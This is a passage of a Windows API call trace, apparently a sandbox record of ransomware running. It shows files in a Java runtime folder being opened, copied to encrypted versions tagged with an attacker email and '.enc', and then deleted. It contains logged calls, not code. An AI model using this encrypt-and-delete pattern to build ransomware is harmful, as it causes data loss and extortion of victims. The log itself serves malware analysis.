() returned 0x0 [0125.073] GetLastError () returned 0x0 [0125.073] GetCurrentThreadId () returned 0x9b0 [0125.073] GetLastError () returned 0x0 [0125.073] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0125.073] GetLastError () returned 0x0 [0125.073] GetLastError () returned 0x0 [0125.073] GetCurrentThreadId () returned 0x9b0 [0125.073] GetLastError () returned 0x0 [0125.073] GetLastError () returned 0x0 [0125.075] GetLastError () returned 0x0 [0125.075] GetCurrentThreadId () returned 0x9b0 [0125.075] GetLastError () returned 0x0 [0125.075] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265498 | out: hHeap=0x2ad0000) returned 1 [0125.075] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x4058) returned 0x35c0a00 [0125.075] GetLastError () returned 0x0 [0125.075] GetLastError () returned 0x0 [0125.075] GetLastError () returned 0x0 [0125.075] GetLastError () returned 0x0 [0125.076] GetCurrentThreadId () returned 0x9b0 [0125.076] GetLastError () returned 0x0 [0125.076] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c0a00 | out: hHeap=0x2ad0000) returned 1 [0125.076] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0125.076] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0125.076] GetLastError () returned 0x0 [0125.077] GetLastError () returned 0x0 [0125.077] GetCurrentThreadId () returned 0x9b0 [0125.077] GetLastError () returned 0x0 [0125.077] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36fc5a8 | out: hHeap=0x2ad0000) returned 1 [0125.078] GetCurrentThreadId () returned 0x9b0 [0125.078] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36fc5a8 [0125.078] GetLastError () returned 0x0 [0125.078] GetLastError () returned 0x0 [0125.078] GetCurrentThreadId () returned 0x9b0 [0125.078] GetLastError () returned 0x0 [0125.078] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36fc5a8 | out: hHeap=0x2ad0000) returned 1 [0125.078] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0125.078] GetLastError () returned 0x0 [0125.079] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc04b8 | out: hHeap=0x2ad0000) returned 1 [0125.079] CloseHandle (hObject=0x3ac) returned 1 [0125.079] GetLastError () returned 0x0 [0125.079] GetCurrentThreadId () returned 0x9b0 [0125.079] GetLastError () returned 0x0 [0125.079] GetLastError () returned 0x0 [0125.079] CloseHandle (hObject=0x39c) returned 1 [0125.079] GetLastError () returned 0x0 [0125.079] GetCurrentThreadId () returned 0x9b0 [0125.079] GetLastError () returned 0x0 [0125.080] GetLastError () returned 0x0 [0125.080] GetLastError () returned 0x0 [0125.080] GetLastError () returned 0x0 [0125.080] GetLastError () returned 0x0 [0125.080] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe")) returned 1 [0125.081] GetLastError () returned 0x0 [0125.081] GetCurrentThreadId () returned 0x9b0 [0125.081] GetLastError () returned 0x0 [0125.081] GetLastError () returned 0x0 [0125.081] GetLastError () returned 0x0 [0125.082] GetLastError () returned 0x0 [0125.082] GetLastError () returned 0x0 [0125.082] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe", lpFilePart=0x9bada4*="ktab.exe") returned 0x2f [0125.082] GetCurrentThreadId () returned 0x9b0 [0125.082] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0125.082] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0125.082] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0125.082] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0125.082] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5e88 [0125.082] GetCurrentThreadId () returned 0x9b0 [0125.083] GetLastError () returned 0x0 [0125.083] GetLastError () returned 0x0 [0125.083] GetLastError () returned 0x0 [0125.083] GetLastError () returned 0x0 [0125.083] GetCurrentThreadId () returned 0x9b0 [0125.083] GetLastError () returned 0x0 [0125.083] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5e88 | out: hHeap=0x2ad0000) returned 1 [0125.083] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c60b8 [0125.083] GetLastError () returned 0x0 [0125.083] GetLastError () returned 0x0 [0125.083] GetLastError () returned 0x0 [0125.084] GetLastError () returned 0x0 [0125.084] GetCurrentThreadId () returned 0x9b0 [0125.084] GetLastError () returned 0x0 [0125.084] GetLastError () returned 0x0 [0125.084] GetLastError () returned 0x0 [0125.084] GetLastError () returned 0x0 [0125.084] GetLastError () returned 0x0 [0125.084] GetCurrentThreadId () returned 0x9b0 [0125.084] GetLastError () returned 0x0 [0125.084] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c60b8 | out: hHeap=0x2ad0000) returned 1 [0125.085] GetCurrentThreadId () returned 0x9b0 [0125.085] GetLastError () returned 0x0 [0125.085] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d62d0 | out: hHeap=0x2ad0000) returned 1 [0125.085] GetLastError () returned 0x0 [0125.085] GetLastError () returned 0x0 [0125.085] GetLastError () returned 0x0 [0125.085] GetCurrentThreadId () returned 0x9b0 [0125.085] GetLastError () returned 0x0 [0125.085] GetLastError () returned 0x0 [0125.085] GetLastError () returned 0x0 [0125.085] GetLastError () returned 0x0 [0125.086] GetLastError () returned 0x0 [0125.086] GetCurrentThreadId () returned 0x9b0 [0125.086] GetLastError () returned 0x0 [0125.086] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0125.086] GetLastError () returned 0x0 [0125.086] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6438 | out: hHeap=0x2ad0000) returned 1 [0125.086] GetLastError () returned 0x0 [0125.086] GetLastError () returned 0x0 [0125.086] GetLastError () returned 0x0 [0125.086] GetCurrentThreadId () returned 0x9b0 [0125.086] GetLastError () returned 0x0 [0125.087] GetLastError () returned 0x0 [0125.087] GetLastError () returned 0x0 [0125.087] GetLastError () returned 0x0 [0125.087] GetLastError () returned 0x0 [0125.087] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0125.087] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040)) returned 1 [0125.087] GetLastError () returned 0x0 [0125.087] GetCurrentThreadId () returned 0x9b0 [0125.087] GetLastError () returned 0x0 [0125.088] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0125.088] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b084 | out: pbBuffer=0x366b084) returned 1 [0125.088] GetCurrentThreadId () returned 0x9b0 [0125.088] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0125.088] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4410 [0125.088] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0125.088] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c6090 [0125.088] GetLastError () returned 0x0 [0125.088] GetLastError () returned 0x0 [0125.088] GetLastError () returned 0x0 [0125.088] GetLastError () returned 0x0 [0125.089] GetCurrentThreadId () returned 0x9b0 [0125.089] GetLastError () returned 0x0 [0125.089] GetCurrentThreadId () returned 0x9b0 [0125.089] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c6090 | out: hHeap=0x2ad0000) returned 1 [0125.089] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5eb0 [0125.089] GetLastError () returned 0x0 [0125.089] GetLastError () returned 0x0 [0125.089] GetLastError () returned 0x0 [0125.089] GetLastError () returned 0x0 [0125.089] GetCurrentThreadId () returned 0x9b0 [0125.089] GetLastError () returned 0x0 [0125.090] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5eb0 | out: hHeap=0x2ad0000) returned 1 [0125.090] GetCurrentThreadId () returned 0x9b0 [0125.090] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x3265498 [0125.090] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4410 | out: hHeap=0x2ad0000) returned 1 [0125.090] GetLastError () returned 0x0 [0125.090] GetLastError () returned 0x0 [0125.090] GetLastError () returned 0x0 [0125.090] GetLastError () returned 0x0 [0125.090] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0125.090] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32653c8 [0125.090] GetLastError () returned 0x0 [0125.091] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0125.091] GetFileType (hFile=0x39c) returned 0x1 [0125.091] GetLastError () returned 0x0 [0125.091] GetCurrentThreadId () returned 0x9b0 [0125.091] GetLastError () returned 0x0 [0125.091] GetFileType (hFile=0x39c) returned 0x1 [0125.091] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0125.091] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.091] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.092] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.092] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.092] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.092] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.092] GetLastError () returned 0x0 [0125.092] GetCurrentThreadId () returned 0x9b0 [0125.092] GetLastError () returned 0x0 [0125.092] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653c8 | out: hHeap=0x2ad0000) returned 1 [0125.092] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0125.092] GetLastError () returned 0x0 [0125.092] GetLastError () returned 0x0 [0125.092] GetLastError () returned 0x0 [0125.093] GetLastError () returned 0x0 [0125.093] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0125.093] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265448 [0125.093] GetLastError () returned 0x0 [0125.093] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0125.093] GetFileType (hFile=0x3ac) returned 0x1 [0125.093] GetLastError () returned 0x0 [0125.094] GetCurrentThreadId () returned 0x9b0 [0125.094] GetLastError () returned 0x0 [0125.094] GetFileType (hFile=0x3ac) returned 0x1 [0125.094] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0125.094] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.094] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.094] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.094] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.094] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.094] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.094] GetLastError () returned 0x0 [0125.094] GetCurrentThreadId () returned 0x9b0 [0125.094] GetLastError () returned 0x0 [0125.095] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265448 | out: hHeap=0x2ad0000) returned 1 [0125.095] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a23b0 | out: hHeap=0x2ad0000) returned 1 [0125.095] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0125.095] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0125.095] GetLastError () returned 0x0 [0125.095] GetLastError () returned 0x0 [0125.095] GetCurrentThreadId () returned 0x9b0 [0125.095] GetLastError () returned 0x0 [0125.095] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0125.095] GetLastError () returned 0x0 [0125.095] GetLastError () returned 0x0 [0125.096] GetCurrentThreadId () returned 0x9b0 [0125.096] GetLastError () returned 0x0 [0125.096] GetLastError () returned 0x0 [0125.097] GetLastError () returned 0x0 [0125.097] GetCurrentThreadId () returned 0x9b0 [0125.098] GetLastError () returned 0x0 [0125.098] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265498 | out: hHeap=0x2ad0000) returned 1 [0125.098] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x4058) returned 0x35c0a00 [0125.098] GetCurrentThreadId () returned 0x9b0 [0125.098] GetLastError () returned 0x0 [0125.098] GetLastError () returned 0x0 [0125.098] GetLastError () returned 0x0 [0125.098] GetLastError () returned 0x0 [0125.098] GetCurrentThreadId () returned 0x9b0 [0125.098] GetLastError () returned 0x0 [0125.099] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c0a00 | out: hHeap=0x2ad0000) returned 1 [0125.099] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0125.099] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0125.099] GetLastError () returned 0x0 [0125.100] GetLastError () returned 0x0 [0125.100] GetCurrentThreadId () returned 0x9b0 [0125.100] GetLastError () returned 0x0 [0125.100] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36fc5a8 | out: hHeap=0x2ad0000) returned 1 [0125.100] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36fc5a8 [0125.100] GetLastError () returned 0x0 [0125.101] GetLastError () returned 0x0 [0125.101] GetCurrentThreadId () returned 0x9b0 [0125.101] GetLastError () returned 0x0 [0125.101] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36fc5a8 | out: hHeap=0x2ad0000) returned 1 [0125.101] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0125.101] GetLastError () returned 0x0 [0125.101] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0125.101] CloseHandle (hObject=0x3ac) returned 1 [0125.102] GetLastError () returned 0x0 [0125.102] GetCurrentThreadId () returned 0x9b0 [0125.102] GetLastError () returned 0x0 [0125.102] GetLastError () returned 0x0 [0125.102] CloseHandle (hObject=0x39c) returned 1 [0125.102] GetLastError () returned 0x0 [0125.102] GetCurrentThreadId () returned 0x9b0 [0125.102] GetLastError () returned 0x0 [0125.102] GetLastError () returned 0x0 [0125.102] GetLastError () returned 0x0 [0125.103] GetLastError () returned 0x0 [0125.103] GetLastError () returned 0x0 [0125.103] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe")) returned 1 [0125.104] GetLastError () returned 0x0 [0125.104] GetCurrentThreadId () returned 0x9b0 [0125.104] GetLastError () returned 0x0 [0125.104] GetLastError () returned 0x0 [0125.104] GetLastError () returned 0x0 [0125.104] GetLastError () returned 0x0 [0125.104] GetLastError () returned 0x0 [0125.105] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll", lpFilePart=0x9bada4*="lcms.dll") returned 0x2f [0125.105] GetCurrentThreadId () returned 0x9b0 [0125.105] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0125.105] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0125.105] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0125.105] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0125.105] GetCurrentThreadId () returned 0x9b0 [0125.105] GetLastError () returned 0x0 [0125.105] GetLastError () returned 0x0 [0125.105] GetLastError () returned 0x0 [0125.105] GetLastError () returned 0x0 [0125.106] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll", lpFilePart=0x9bada4*="management.dll") returned 0x35 [0125.106] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0125.106] GetCurrentThreadId () returned 0x9b0 [0125.106] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0125.106] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0125.106] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0125.106] GetLastError () returned 0x0 [0125.106] GetLastError () returned 0x0 [0125.106] GetLastError () returned 0x0 [0125.106] GetLastError () returned 0x0 [0125.106] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll", lpFilePart=0x9bada4*="mlib_image.dll") returned 0x35 [0125.107] GetCurrentThreadId () returned 0x9b0 [0125.107] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0125.107] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0125.107] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0125.107] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0125.107] GetCurrentThreadId () returned 0x9b0 [0125.107] GetLastError () returned 0x0 [0125.107] GetLastError () returned 0x0 [0125.107] GetLastError () returned 0x0 [0125.107] GetLastError () returned 0x0 [0125.107] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll", lpFilePart=0x9bada4*="msvcp120.dll") returned 0x33 [0125.108] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0125.108] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0125.108] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0125.108] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0125.108] GetCurrentThreadId () returned 0x9b0 [0125.108] GetLastError () returned 0x0 [0125.108] GetLastError () returned 0x0 [0125.108] GetLastError () returned 0x0 [0125.108] GetLastError () returned 0x0 [0125.108] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll", lpFilePart=0x9bada4*="msvcr100.dll") returned 0x33 [0125.108] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0125.109] GetCurrentThreadId () returned 0x9b0 [0125.109] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0125.109] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0125.109] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0125.109] GetLastError () returned 0x0 [0125.109] GetLastError () returned 0x0 [0125.109] GetLastError () returned 0x0 [0125.109] GetLastError () returned 0x0 [0125.109] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll", lpFilePart=0x9bada4*="msvcr120.dll") returned 0x33 [0125.109] GetCurrentThreadId () returned 0x9b0 [0125.109] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0125.109] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0125.110] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0125.110] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0125.110] GetCurrentThreadId () returned 0x9b0 [0125.110] GetLastError () returned 0x0 [0125.110] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll", lpFilePart=0x9bada4*="net.dll") returned 0x2e [0125.110] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0125.110] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0125.110] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0125.110] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0125.110] GetCurrentThreadId () returned 0x9b0 [0125.110] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll", lpFilePart=0x9bada4*="nio.dll") returned 0x2e [0125.111] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0125.111] GetCurrentThreadId () returned 0x9b0 [0125.111] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0125.111] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0125.111] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0125.111] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll", lpFilePart=0x9bada4*="npt.dll") returned 0x2e [0125.111] GetCurrentThreadId () returned 0x9b0 [0125.111] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0125.111] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0125.111] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0125.111] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0125.112] GetCurrentThreadId () returned 0x9b0 [0125.112] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe", lpFilePart=0x9bada4*="orbd.exe") returned 0x2f [0125.112] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0125.112] GetCurrentThreadId () returned 0x9b0 [0125.112] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0125.112] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0125.112] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0125.112] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c6090 [0125.112] GetCurrentThreadId () returned 0x9b0 [0125.112] GetCurrentThreadId () returned 0x9b0 [0125.113] GetCurrentThreadId () returned 0x9b0 [0125.113] GetCurrentThreadId () returned 0x9b0 [0125.113] GetCurrentThreadId () returned 0x9b0 [0125.113] GetCurrentThreadId () returned 0x9b0 [0125.113] GetCurrentThreadId () returned 